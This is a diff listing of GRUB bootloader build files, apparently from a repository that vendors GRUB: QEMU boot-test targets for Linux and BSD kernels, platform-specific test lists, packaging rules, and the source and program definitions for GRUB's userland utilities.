     310 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/miniroot.gz=knetbsd.miniroot-image.i386.gz --files=/knetbsd=$(GRUB_PAYLOADS_DIR)/knetbsd.i386 $(srcdir)/grub-core/tests/boot/knetbsd.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     311 + 
     312 +bootcheck-kopenbsd-i386: kopenbsd.image.i386 $(GRUB_PAYLOADS_DIR)/kopenbsd.i386 $(srcdir)/grub-core/tests/boot/kopenbsd.cfg grub-shell
     313 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/ramdisk=kopenbsd.image.i386 --files=/kopenbsd=$(GRUB_PAYLOADS_DIR)/kopenbsd.i386 $(srcdir)/grub-core/tests/boot/kopenbsd.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     314 + 
     315 +bootcheck-kopenbsd-x86_64: kopenbsd.image.x86_64 $(GRUB_PAYLOADS_DIR)/kopenbsd.x86_64 $(srcdir)/grub-core/tests/boot/kopenbsd.cfg grub-shell
     316 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=qemu-system-x86_64 --files=/ramdisk=kopenbsd.image.x86_64 --files=/kopenbsd=$(GRUB_PAYLOADS_DIR)/kopenbsd.x86_64 $(srcdir)/grub-core/tests/boot/kopenbsd.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     317 + 
     318 +knetbsd.miniroot-image.x86_64.gz: knetbsd.miniroot-image.x86_64.img
     319 + gzip < $< > $@
     320 + 
     321 +bootcheck-knetbsd-x86_64: knetbsd.miniroot-image.x86_64.gz $(GRUB_PAYLOADS_DIR)/knetbsd.x86_64 $(srcdir)/grub-core/tests/boot/knetbsd.cfg grub-shell
     322 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=qemu-system-x86_64 --files=/miniroot.gz=knetbsd.miniroot-image.x86_64.gz --files=/knetbsd=$(GRUB_PAYLOADS_DIR)/knetbsd.x86_64 $(srcdir)/grub-core/tests/boot/knetbsd.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     323 + 
     324 +bootcheck-linux-i386: linux-initramfs.i386 $(GRUB_PAYLOADS_DIR)/linux.i386 $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     325 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/initrd=linux-initramfs.i386 --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.i386 $(srcdir)/grub-core/tests/boot/linux.cfg --qemu-opts="-cpu $(MINIMUM_CPU_LINUX)" | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     326 + 
     327 +bootcheck-linux-x86_64: linux-initramfs.x86_64 $(GRUB_PAYLOADS_DIR)/linux.x86_64 $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     328 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=qemu-system-x86_64 --files=/initrd=linux-initramfs.x86_64 --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.x86_64 $(srcdir)/grub-core/tests/boot/linux.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     329 + 
     330 +bootcheck-linux-mips: linux-initramfs.mips $(GRUB_PAYLOADS_DIR)/linux.mips $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     331 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --files=/initrd=linux-initramfs.mips --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.mips $(srcdir)/grub-core/tests/boot/linux.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     332 + 
     333 +bootcheck-linux-ppc: linux-initramfs.ppc $(GRUB_PAYLOADS_DIR)/linux.ppc $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     334 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --files=/initrd=linux-initramfs.ppc --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.ppc $(srcdir)/grub-core/tests/boot/linux-ppc.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     335 + 
     336 +bootcheck-linux-mipsel: linux-initramfs.mipsel $(GRUB_PAYLOADS_DIR)/linux.mipsel $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     337 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --files=/initrd=linux-initramfs.mipsel --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.mipsel $(srcdir)/grub-core/tests/boot/linux.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     338 + 
     339 +bootcheck-linux-loongson: linux-initramfs.loongson $(GRUB_PAYLOADS_DIR)/linux.loongson $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     340 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --files=/initrd=linux-initramfs.loongson --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.loongson $(srcdir)/grub-core/tests/boot/linux.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     341 + 
     342 +bootcheck-linux16-i386: linux-initramfs.i386 $(GRUB_PAYLOADS_DIR)/linux.i386 $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     343 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/initrd=linux-initramfs.i386 --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.i386 $(srcdir)/grub-core/tests/boot/linux16.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     344 + 
     345 +bootcheck-linux16-x86_64: linux-initramfs.x86_64 $(GRUB_PAYLOADS_DIR)/linux.x86_64 $(srcdir)/grub-core/tests/boot/linux.cfg grub-shell
     346 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=qemu-system-x86_64 --files=/initrd=linux-initramfs.x86_64 --files=/linux=$(GRUB_PAYLOADS_DIR)/linux.x86_64 $(srcdir)/grub-core/tests/boot/linux16.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     347 + 
     348 +bootcheck-multiboot: multiboot.elf $(srcdir)/grub-core/tests/boot/multiboot.cfg grub-shell
     349 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/multiboot.elf=multiboot.elf $(srcdir)/grub-core/tests/boot/multiboot.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     350 + 
     351 +bootcheck-multiboot2: multiboot2.elf $(srcdir)/grub-core/tests/boot/multiboot2.cfg grub-shell
     352 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/multiboot2.elf=multiboot2.elf $(srcdir)/grub-core/tests/boot/multiboot2.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     353 + 
     354 +bootcheck-kfreebsd-aout: kfreebsd.aout $(srcdir)/grub-core/tests/boot/kfreebsd-aout.cfg grub-shell
     355 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/kfreebsd.aout=kfreebsd.aout $(srcdir)/grub-core/tests/boot/kfreebsd-aout.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     356 + 
     357 +bootcheck-pc-chainloader: pc-chainloader.bin $(srcdir)/grub-core/tests/boot/pc-chainloader.cfg grub-shell
     358 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/pc-chainloader.bin=pc-chainloader.bin $(srcdir)/grub-core/tests/boot/pc-chainloader.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     359 + 
     360 +bootcheck-ntldr: ntldr.bin $(srcdir)/grub-core/tests/boot/ntldr.cfg grub-shell
     361 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/ntldr.bin=ntldr.bin $(srcdir)/grub-core/tests/boot/ntldr.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     362 + 
     363 +if COND_i386_efi
     364 +# NetBSD has no support for finding ACPI on EFI
     365 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-kopenbsd-i386 bootcheck-kopenbsd-x86_64 bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64 bootcheck-kfreebsd-x86_64 bootcheck-kfreebsd-i386
     366 +endif
     367 + 
     368 +if COND_x86_64_efi
     369 +# NetBSD has no support for finding ACPI on EFI
     370 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-kopenbsd-i386 bootcheck-kopenbsd-x86_64 bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64 bootcheck-kfreebsd-x86_64 bootcheck-kfreebsd-i386
     371 +endif
     372 + 
     373 +if COND_i386_multiboot
     374 +# *BSD requires ACPI
     375 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64
     376 +endif
     377 + 
     378 + 
     379 +if COND_i386_qemu
     380 +# *BSD requires ACPI
     381 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64
     382 +endif
     383 + 
     384 +if COND_i386_coreboot
     385 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-kopenbsd-i386 bootcheck-kopenbsd-x86_64 bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64 bootcheck-knetbsd-x86_64 bootcheck-kfreebsd-x86_64 bootcheck-kfreebsd-i386
     386 +endif
     387 + 
     388 +if COND_i386_ieee1275
     389 +# *BSD requires ACPI
     390 +#legacy protocol (linux16) makes early BIOS calls.
     391 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64
     392 +endif
     393 + 
     394 +if COND_i386_pc
     395 +#pc chainloader by definition is only for i386-pc
     396 +#ntldr and bootmgr require BIOS.
     397 +#legacy protocol (linux16) makes early BIOS calls.
     398 +# 32-bit NetBSD crashes early on non-BIOS
     399 +BOOTCHECKS = bootcheck-kfreebsd-aout bootcheck-kopenbsd-i386 bootcheck-kopenbsd-x86_64 bootcheck-multiboot bootcheck-multiboot2 bootcheck-linux-i386 bootcheck-linux-x86_64 bootcheck-knetbsd-x86_64 bootcheck-kfreebsd-x86_64 bootcheck-kfreebsd-i386 bootcheck-pc-chainloader bootcheck-ntldr bootcheck-linux16-i386 bootcheck-linux16-x86_64 bootcheck-knetbsd-i386
     400 +endif
     401 + 
     402 +if COND_mips_loongson
     403 +BOOTCHECKS = bootcheck-linux-loongson
     404 +endif
     405 + 
     406 +if COND_mipsel
     407 +if COND_mips_qemu_mips
     408 +BOOTCHECKS = bootcheck-linux-mipsel
     409 +endif
     410 +endif
     411 +if COND_mipseb
     412 +if COND_mips_qemu_mips
     413 +BOOTCHECKS = bootcheck-linux-mips
     414 +endif
     415 +endif
     416 + 
     417 +if COND_powerpc_ieee1275
     418 +BOOTCHECKS = bootcheck-linux-ppc
     419 +endif
     420 + 
     421 +.PHONY: bootcheck-linux-i386 bootcheck-linux-x86_64 \
     422 + bootcheck-kfreebsd-i386 bootcheck-kfreebsd-x86_64 \
     423 + bootcheck-knetbsd-i386 bootcheck-knetbsd-x86_64 \
     424 + bootcheck-linux-mips FORCE
     425 + 
     426 +# Randomly generated
     427 +SUCCESSFUL_BOOT_STRING=3e49994fd5d82b7c9298d672d774080d
     428 +# tianocore cd access is very slow
     429 +BOOTCHECK_TIMEOUT=180
     430 + 
     431 +bootcheck: $(BOOTCHECKS)
     432 + 
     433 +if COND_i386_coreboot
     434 +FS_PAYLOAD_MODULES ?= $(shell cat grub-core/fs.lst)
     435 +default_payload.elf: grub-mkstandalone grub-mkimage FORCE
     436 + test -f $@ && rm $@ || true
     437 + pkgdatadir=. ./grub-mkstandalone --grub-mkimage=./grub-mkimage -O i386-coreboot -o $@ --modules='ahci pata xhci ehci uhci ohci usb_keyboard usbms part_msdos ext2 fat at_keyboard part_gpt usbserial_usbdebug cbfs' --install-modules='ls linux search configfile normal cbtime cbls memrw iorw minicmd lsmmap lspci halt reboot hexdump pcidump regexp setpci lsacpi chain test serial multiboot cbmemc linux16 gzio echo help syslinuxcfg xnu $(FS_PAYLOAD_MODULES) password_pbkdf2 $(EXTRA_PAYLOAD_MODULES)' --fonts= --themes= --locales= -d grub-core/ /boot/grub/grub.cfg=$(srcdir)/coreboot.cfg
     438 +endif
     439 + 
     440 +endif
     441 + 
     442 +EXTRA_DIST += grub-core/tests/boot/kbsd.init-i386.S grub-core/tests/boot/kbsd.init-x86_64.S grub-core/tests/boot/kbsd.spec.txt grub-core/tests/boot/kernel-8086.S grub-core/tests/boot/kernel-i386.S grub-core/tests/boot/kfreebsd-aout.cfg grub-core/tests/boot/kfreebsd.cfg grub-core/tests/boot/kfreebsd.init-i386.S grub-core/tests/boot/kfreebsd.init-x86_64.S grub-core/tests/boot/knetbsd.cfg grub-core/tests/boot/kopenbsd.cfg grub-core/tests/boot/kopenbsdlabel.txt grub-core/tests/boot/linux16.cfg grub-core/tests/boot/linux.cfg grub-core/tests/boot/linux.init-i386.S grub-core/tests/boot/linux.init-mips.S grub-core/tests/boot/linux.init-ppc.S grub-core/tests/boot/linux.init-x86_64.S grub-core/tests/boot/linux-ppc.cfg grub-core/tests/boot/multiboot2.cfg grub-core/tests/boot/multiboot.cfg grub-core/tests/boot/ntldr.cfg grub-core/tests/boot/pc-chainloader.cfg grub-core/tests/boot/qemu-shutdown-x86.S
     443 + 
     444 +windowsdir=$(top_builddir)/$(PACKAGE)-$(VERSION)-for-windows
     445 +windowsdir: $(PROGRAMS) $(starfield_DATA) $(platform_DATA)
     446 + test -d $(windowsdir) && rm -rf $(windowsdir) || true
     447 + test -d $(windowsdir) || mkdir $(windowsdir)
     448 + $(MAKE) -C po $(AM_MAKEFLAGS) windowsdir
     449 + $(MAKE) -C grub-core $(AM_MAKEFLAGS) windowsdir
     450 + test -d $(windowsdir)/themes || mkdir $(windowsdir)/themes
     451 + test -d $(windowsdir)/themes/starfield || mkdir $(windowsdir)/themes/starfield
     452 + for x in $(PROGRAMS); do \
     453 + if [ x$(STRIP) != x ]; then $(STRIP) $$x -o $(windowsdir)/$$x; \
     454 + else cp -fp $$x $(windowsdir)/$$x; fi; \
     455 + done
     456 + for x in $(pkgdata_DATA); do \
     457 + cp -fp $$x $(windowsdir)/$$x; \
     458 + done
     459 + for x in $(starfield_DATA); do \
     460 + cp -fp $$x $(windowsdir)/themes/starfield/$$(basename $$x); \
     461 + done
     462 + for x in $(GRUB_WINDOWS_EXTRA_DIST); do \
     463 + cp -fp $$x $(windowsdir); \
     464 + done
     465 + 
     466 +windowszip=$(top_builddir)/$(PACKAGE)-$(VERSION)-for-windows.zip
     467 +windowszip: windowsdir
     468 + test -f $(windowszip) && rm $(windowszip) || true
     469 + zip -r $(windowszip) $(windowsdir)
     470 + rm -rf $(windowsdir)
     471 + 
     472 +EXTRA_DIST += linguas.sh
     473 + 
     474 +changelog_start_date = 2015-01-23
     475 +gitlog_to_changelog = $(top_srcdir)/build-aux/gitlog-to-changelog
     476 + 
     477 +ChangeLog: FORCE
     478 + if test -d $(top_srcdir)/.git; then \
     479 + $(gitlog_to_changelog) --srcdir=$(top_srcdir) --since=$(changelog_start_date) > '[email protected]'; \
     480 + rm -f '$@'; mv '[email protected]' '$@'; \
     481 + else \
     482 + touch $@; \
     483 + fi
     484 + 
     485 +syslinux_test: $(top_builddir)/config.status tests/syslinux/ubuntu10.04_grub.cfg
     486 + 
     487 +# Mimic simplify_filename from grub-core/lib/syslinux_parse.c, so that we
     488 +# can predict its behaviour in tests. We have to pre-substitute this before
     489 +# calling config.status, as config.status offers no reliable way to hook in
     490 +# a command between setting ac_abs_top_srcdir and emitting output files.
     491 +tests/syslinux/ubuntu10.04_grub.cfg: $(top_builddir)/config.status tests/syslinux/ubuntu10.04_grub.cfg.in
     492 + simplified_abs_top_srcdir=`echo "$(abs_top_srcdir)" | sed 's,//,/,g; s,/\./,/,g; :loop; s,/[^/][^/]*/\.\.\(/\|$$\),\1,; t loop'`; \
     493 + sed "s,@simplified_abs_top_srcdir@,$$simplified_abs_top_srcdir,g" $(srcdir)/tests/syslinux/ubuntu10.04_grub.cfg.in | $(top_builddir)/config.status --file=$@:-
     494 +CLEANFILES += tests/syslinux/ubuntu10.04_grub.cfg
     495 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/Makefile.util.def
     1 +AutoGen definitions Makefile.tpl;
     2 + 
     3 +library = {
     4 + name = libgrubkern.a;
     5 + cflags = '$(CFLAGS_GNULIB)';
     6 + cppflags = '$(CPPFLAGS_GNULIB) -I$(srcdir)/grub-core/lib/json';
     7 + 
     8 + common = util/misc.c;
     9 + common = grub-core/kern/command.c;
     10 + common = grub-core/kern/device.c;
     11 + common = grub-core/kern/disk.c;
     12 + common = grub-core/lib/disk.c;
     13 + common = util/getroot.c;
     14 + common = grub-core/osdep/unix/getroot.c;
     15 + common = grub-core/osdep/getroot.c;
     16 + common = grub-core/osdep/devmapper/getroot.c;
     17 + common = grub-core/osdep/relpath.c;
     18 + extra_dist = grub-core/kern/disk_common.c;
     19 + extra_dist = grub-core/osdep/unix/relpath.c;
     20 + extra_dist = grub-core/osdep/aros/relpath.c;
     21 + extra_dist = grub-core/osdep/windows/relpath.c;
     22 + common = grub-core/kern/emu/hostdisk.c;
     23 + common = grub-core/osdep/devmapper/hostdisk.c;
     24 + common = grub-core/osdep/hostdisk.c;
     25 + common = grub-core/osdep/unix/hostdisk.c;
     26 + common = grub-core/osdep/exec.c;
     27 + common = grub-core/osdep/sleep.c;
     28 + common = grub-core/osdep/password.c;
     29 + common = grub-core/kern/emu/misc.c;
     30 + common = grub-core/kern/emu/mm.c;
     31 + common = grub-core/kern/env.c;
     32 + common = grub-core/kern/err.c;
     33 + common = grub-core/kern/file.c;
     34 + common = grub-core/kern/fs.c;
     35 + common = grub-core/kern/list.c;
     36 + common = grub-core/kern/misc.c;
     37 + common = grub-core/kern/partition.c;
     38 + common = grub-core/lib/crypto.c;
     39 + common = grub-core/lib/json/json.c;
     40 + common = grub-core/disk/luks.c;
     41 + common = grub-core/disk/luks2.c;
     42 + common = grub-core/disk/geli.c;
     43 + common = grub-core/disk/cryptodisk.c;
     44 + common = grub-core/disk/AFSplitter.c;
     45 + common = grub-core/lib/pbkdf2.c;
     46 + common = grub-core/commands/extcmd.c;
     47 + common = grub-core/lib/arg.c;
     48 + common = grub-core/disk/ldm.c;
     49 + common = grub-core/disk/diskfilter.c;
     50 + common = grub-core/partmap/gpt.c;
     51 + common = grub-core/partmap/msdos.c;
     52 + common = grub-core/fs/proc.c;
     53 + common = grub-core/fs/archelp.c;
     54 +};
     55 + 
     56 +library = {
     57 + name = libgrubmods.a;
     58 + cflags = '-fno-builtin -Wno-undef';
     59 + cppflags = '-I$(srcdir)/grub-core/lib/minilzo -I$(srcdir)/grub-core/lib/xzembed -I$(srcdir)/grub-core/lib/zstd -DMINILZO_HAVE_CONFIG_H';
     60 + 
     61 + common_nodist = grub_script.tab.c;
     62 + common_nodist = grub_script.yy.c;
     63 + common_nodist = libgrub_a_init.c;
     64 + common_nodist = grub_script.yy.h;
     65 + common_nodist = grub_script.tab.h;
     66 + 
     67 + common = grub-core/commands/blocklist.c;
     68 + common = grub-core/commands/macbless.c;
     69 + common = grub-core/commands/xnu_uuid.c;
     70 + common = grub-core/commands/testload.c;
     71 + common = grub-core/commands/ls.c;
     72 + common = grub-core/disk/dmraid_nvidia.c;
     73 + common = grub-core/disk/loopback.c;
     74 + common = grub-core/disk/lvm.c;
     75 + common = grub-core/disk/mdraid_linux.c;
     76 + common = grub-core/disk/mdraid_linux_be.c;
     77 + common = grub-core/disk/mdraid1x_linux.c;
     78 + common = grub-core/disk/raid5_recover.c;
     79 + common = grub-core/disk/raid6_recover.c;
     80 + common = grub-core/font/font.c;
     81 + common = grub-core/gfxmenu/font.c;
     82 + common = grub-core/normal/charset.c;
     83 + common = grub-core/video/fb/fbblit.c;
     84 + common = grub-core/video/fb/fbutil.c;
     85 + common = grub-core/video/fb/fbfill.c;
     86 + common = grub-core/video/fb/video_fb.c;
     87 + common = grub-core/video/video.c;
     88 + common = grub-core/video/capture.c;
     89 + common = grub-core/video/colors.c;
     90 + common = grub-core/unidata.c;
     91 + common = grub-core/io/bufio.c;
     92 + common = grub-core/fs/affs.c;
     93 + common = grub-core/fs/afs.c;
     94 + common = grub-core/fs/bfs.c;
     95 + common = grub-core/fs/btrfs.c;
     96 + common = grub-core/fs/cbfs.c;
     97 + common = grub-core/fs/cpio.c;
     98 + common = grub-core/fs/cpio_be.c;
     99 + common = grub-core/fs/odc.c;
     100 + common = grub-core/fs/newc.c;
     101 + common = grub-core/fs/ext2.c;
     102 + common = grub-core/fs/lynxfs.c;
     103 + common = grub-core/fs/fat.c;
     104 + common = grub-core/fs/exfat.c;
     105 + common = grub-core/fs/f2fs.c;
     106 + common = grub-core/fs/fshelp.c;
     107 + common = grub-core/fs/hfs.c;
     108 + common = grub-core/fs/hfsplus.c;
     109 + common = grub-core/fs/hfspluscomp.c;
     110 + common = grub-core/fs/iso9660.c;
     111 + common = grub-core/fs/jfs.c;
     112 + common = grub-core/fs/minix.c;
     113 + common = grub-core/fs/minix2.c;
     114 + common = grub-core/fs/minix3.c;
     115 + common = grub-core/fs/minix_be.c;
     116 + common = grub-core/fs/minix2_be.c;
     117 + common = grub-core/fs/minix3_be.c;
     118 + common = grub-core/fs/nilfs2.c;
     119 + common = grub-core/fs/ntfs.c;
     120 + common = grub-core/fs/ntfscomp.c;
     121 + common = grub-core/fs/qnx4.c;
     122 + common = grub-core/fs/qnx6.c;
     123 + common = grub-core/fs/reiserfs.c;
     124 + common = grub-core/fs/romfs.c;
     125 + common = grub-core/fs/sfs.c;
     126 + common = grub-core/fs/squash4.c;
     127 + common = grub-core/fs/tar.c;
     128 + common = grub-core/fs/udf.c;
     129 + common = grub-core/fs/ufs2.c;
     130 + common = grub-core/fs/ufs.c;
     131 + common = grub-core/fs/ufs_be.c;
     132 + common = grub-core/fs/xfs.c;
     133 + common = grub-core/fs/zfs/zfscrypt.c;
     134 + common = grub-core/fs/zfs/zfs.c;
     135 + common = grub-core/fs/zfs/zfsinfo.c;
     136 + common = grub-core/fs/zfs/zfs_lzjb.c;
     137 + common = grub-core/fs/zfs/zfs_lz4.c;
     138 + common = grub-core/fs/zfs/zfs_sha256.c;
     139 + common = grub-core/fs/zfs/zfs_fletcher.c;
     140 + common = grub-core/lib/envblk.c;
     141 + common = grub-core/lib/hexdump.c;
     142 + common = grub-core/lib/LzFind.c;
     143 + common = grub-core/lib/LzmaEnc.c;
     144 + common = grub-core/lib/crc.c;
     145 + common = grub-core/lib/adler32.c;
     146 + common = grub-core/lib/crc64.c;
     147 + common = grub-core/lib/datetime.c;
     148 + common = grub-core/normal/misc.c;
     149 + common = grub-core/partmap/acorn.c;
     150 + common = grub-core/partmap/amiga.c;
     151 + common = grub-core/partmap/apple.c;
     152 + common = grub-core/partmap/sun.c;
     153 + common = grub-core/partmap/plan.c;
     154 + common = grub-core/partmap/dvh.c;
     155 + common = grub-core/partmap/sunpc.c;
     156 + common = grub-core/partmap/bsdlabel.c;
     157 + common = grub-core/partmap/dfly.c;
     158 + common = grub-core/script/function.c;
     159 + common = grub-core/script/lexer.c;
     160 + common = grub-core/script/main.c;
     161 + common = grub-core/script/script.c;
     162 + common = grub-core/script/argv.c;
     163 + common = grub-core/io/gzio.c;
     164 + common = grub-core/io/xzio.c;
     165 + common = grub-core/io/lzopio.c;
     166 + common = grub-core/kern/ia64/dl_helper.c;
     167 + common = grub-core/kern/arm/dl_helper.c;
     168 + common = grub-core/kern/arm64/dl_helper.c;
     169 + common = grub-core/lib/minilzo/minilzo.c;
     170 + common = grub-core/lib/xzembed/xz_dec_bcj.c;
     171 + common = grub-core/lib/xzembed/xz_dec_lzma2.c;
     172 + common = grub-core/lib/xzembed/xz_dec_stream.c;
     173 + common = grub-core/lib/zstd/debug.c;
     174 + common = grub-core/lib/zstd/entropy_common.c;
     175 + common = grub-core/lib/zstd/error_private.c;
     176 + common = grub-core/lib/zstd/fse_decompress.c;
     177 + common = grub-core/lib/zstd/huf_decompress.c;
     178 + common = grub-core/lib/zstd/module.c;
     179 + common = grub-core/lib/zstd/xxhash.c;
     180 + common = grub-core/lib/zstd/zstd_common.c;
     181 + common = grub-core/lib/zstd/zstd_decompress.c;
     182 +};
     183 + 
     184 +program = {
     185 + name = grub-mkimage;
     186 + mansection = 1;
     187 + 
     188 + common = util/grub-mkimage.c;
     189 + common = util/mkimage.c;
     190 + common = util/grub-mkimage32.c;
     191 + common = util/grub-mkimage64.c;
     192 + common = util/resolve.c;
     193 + common = grub-core/kern/emu/argp_common.c;
     194 + common = grub-core/osdep/init.c;
     195 + common = grub-core/osdep/config.c;
     196 + extra_dist = grub-core/osdep/aros/config.c;
     197 + extra_dist = grub-core/osdep/windows/config.c;
     198 + extra_dist = grub-core/osdep/unix/config.c;
     199 + common = util/config.c;
     200 + 
     201 + extra_dist = util/grub-mkimagexx.c;
     202 + 
     203 + ldadd = libgrubmods.a;
     204 + ldadd = libgrubgcry.a;
     205 + ldadd = libgrubkern.a;
     206 + ldadd = grub-core/lib/gnulib/libgnu.a;
     207 + ldadd = '$(LIBLZMA)';
     208 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     209 +};
     210 + 
     211 +program = {
     212 + name = grub-mkrelpath;
     213 + mansection = 1;
     214 + 
     215 + common = util/grub-mkrelpath.c;
     216 + common = grub-core/kern/emu/argp_common.c;
     217 + common = grub-core/osdep/init.c;
     218 + 
     219 + ldadd = libgrubmods.a;
     220 + ldadd = libgrubgcry.a;
     221 + ldadd = libgrubkern.a;
     222 + ldadd = grub-core/lib/gnulib/libgnu.a;
     223 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     224 +};
     225 + 
     226 +program = {
     227 + name = grub-script-check;
     228 + mansection = 1;
     229 + 
     230 + common = util/grub-script-check.c;
     231 + common = grub-core/kern/emu/argp_common.c;
     232 + common = grub-core/osdep/init.c;
     233 + 
     234 + ldadd = libgrubmods.a;
     235 + ldadd = libgrubgcry.a;
     236 + ldadd = libgrubkern.a;
     237 + ldadd = grub-core/lib/gnulib/libgnu.a;
     238 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     239 +};
     240 + 
     241 +program = {
     242 + name = grub-editenv;
     243 + mansection = 1;
     244 + 
     245 + common = util/grub-editenv.c;
     246 + common = util/editenv.c;
     247 + common = util/grub-install-common.c;
     248 + common = grub-core/osdep/init.c;
     249 + common = grub-core/osdep/compress.c;
     250 + extra_dist = grub-core/osdep/unix/compress.c;
     251 + extra_dist = grub-core/osdep/basic/compress.c;
     252 + common = util/mkimage.c;
     253 + common = util/grub-mkimage32.c;
     254 + common = util/grub-mkimage64.c;
     255 + common = grub-core/osdep/config.c;
     256 + common = util/config.c;
     257 + common = util/resolve.c;
     258 + 
     259 + ldadd = '$(LIBLZMA)';
     260 + ldadd = libgrubmods.a;
     261 + ldadd = libgrubgcry.a;
     262 + ldadd = libgrubkern.a;
     263 + ldadd = grub-core/lib/gnulib/libgnu.a;
     264 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     265 +};
     266 + 
     267 +program = {
     268 + name = grub-mkpasswd-pbkdf2;
     269 + mansection = 1;
     270 + 
     271 + common = util/grub-mkpasswd-pbkdf2.c;
     272 + common = grub-core/kern/emu/argp_common.c;
     273 + common = grub-core/osdep/random.c;
     274 + common = grub-core/osdep/init.c;
     275 + 
     276 + ldadd = libgrubmods.a;
     277 + ldadd = libgrubgcry.a;
     278 + ldadd = libgrubkern.a;
     279 + ldadd = grub-core/lib/gnulib/libgnu.a;
     280 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     281 +};
     282 + 
     283 +program = {
     284 + name = grub-macho2img;
     285 + mansection = 1;
     286 + common = util/grub-macho2img.c;
     287 + condition = COND_APPLE_LINKER;
     288 +};
     289 + 
     290 +program = {
     291 + name = grub-fstest;
     292 + mansection = 1;
     293 + common_nodist = grub_fstest_init.c;
     294 + common = util/grub-fstest.c;
     295 + common = grub-core/kern/emu/hostfs.c;
     296 + common = grub-core/disk/host.c;
     297 + common = grub-core/osdep/init.c;
     298 + 
     299 + ldadd = libgrubmods.a;
     300 + ldadd = libgrubgcry.a;
     301 + ldadd = libgrubkern.a;
     302 + ldadd = grub-core/lib/gnulib/libgnu.a;
     303 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     304 +};
     305 + 
     306 +program = {
     307 + name = grub-mount;
     308 + mansection = 1;
     309 + common_nodist = grub_fstest_init.c;
     310 + common = util/grub-mount.c;
     311 + common = grub-core/kern/emu/hostfs.c;
     312 + common = grub-core/disk/host.c;
     313 + common = grub-core/osdep/init.c;
     314 + 
     315 + ldadd = libgrubmods.a;
     316 + ldadd = libgrubgcry.a;
     317 + ldadd = libgrubkern.a;
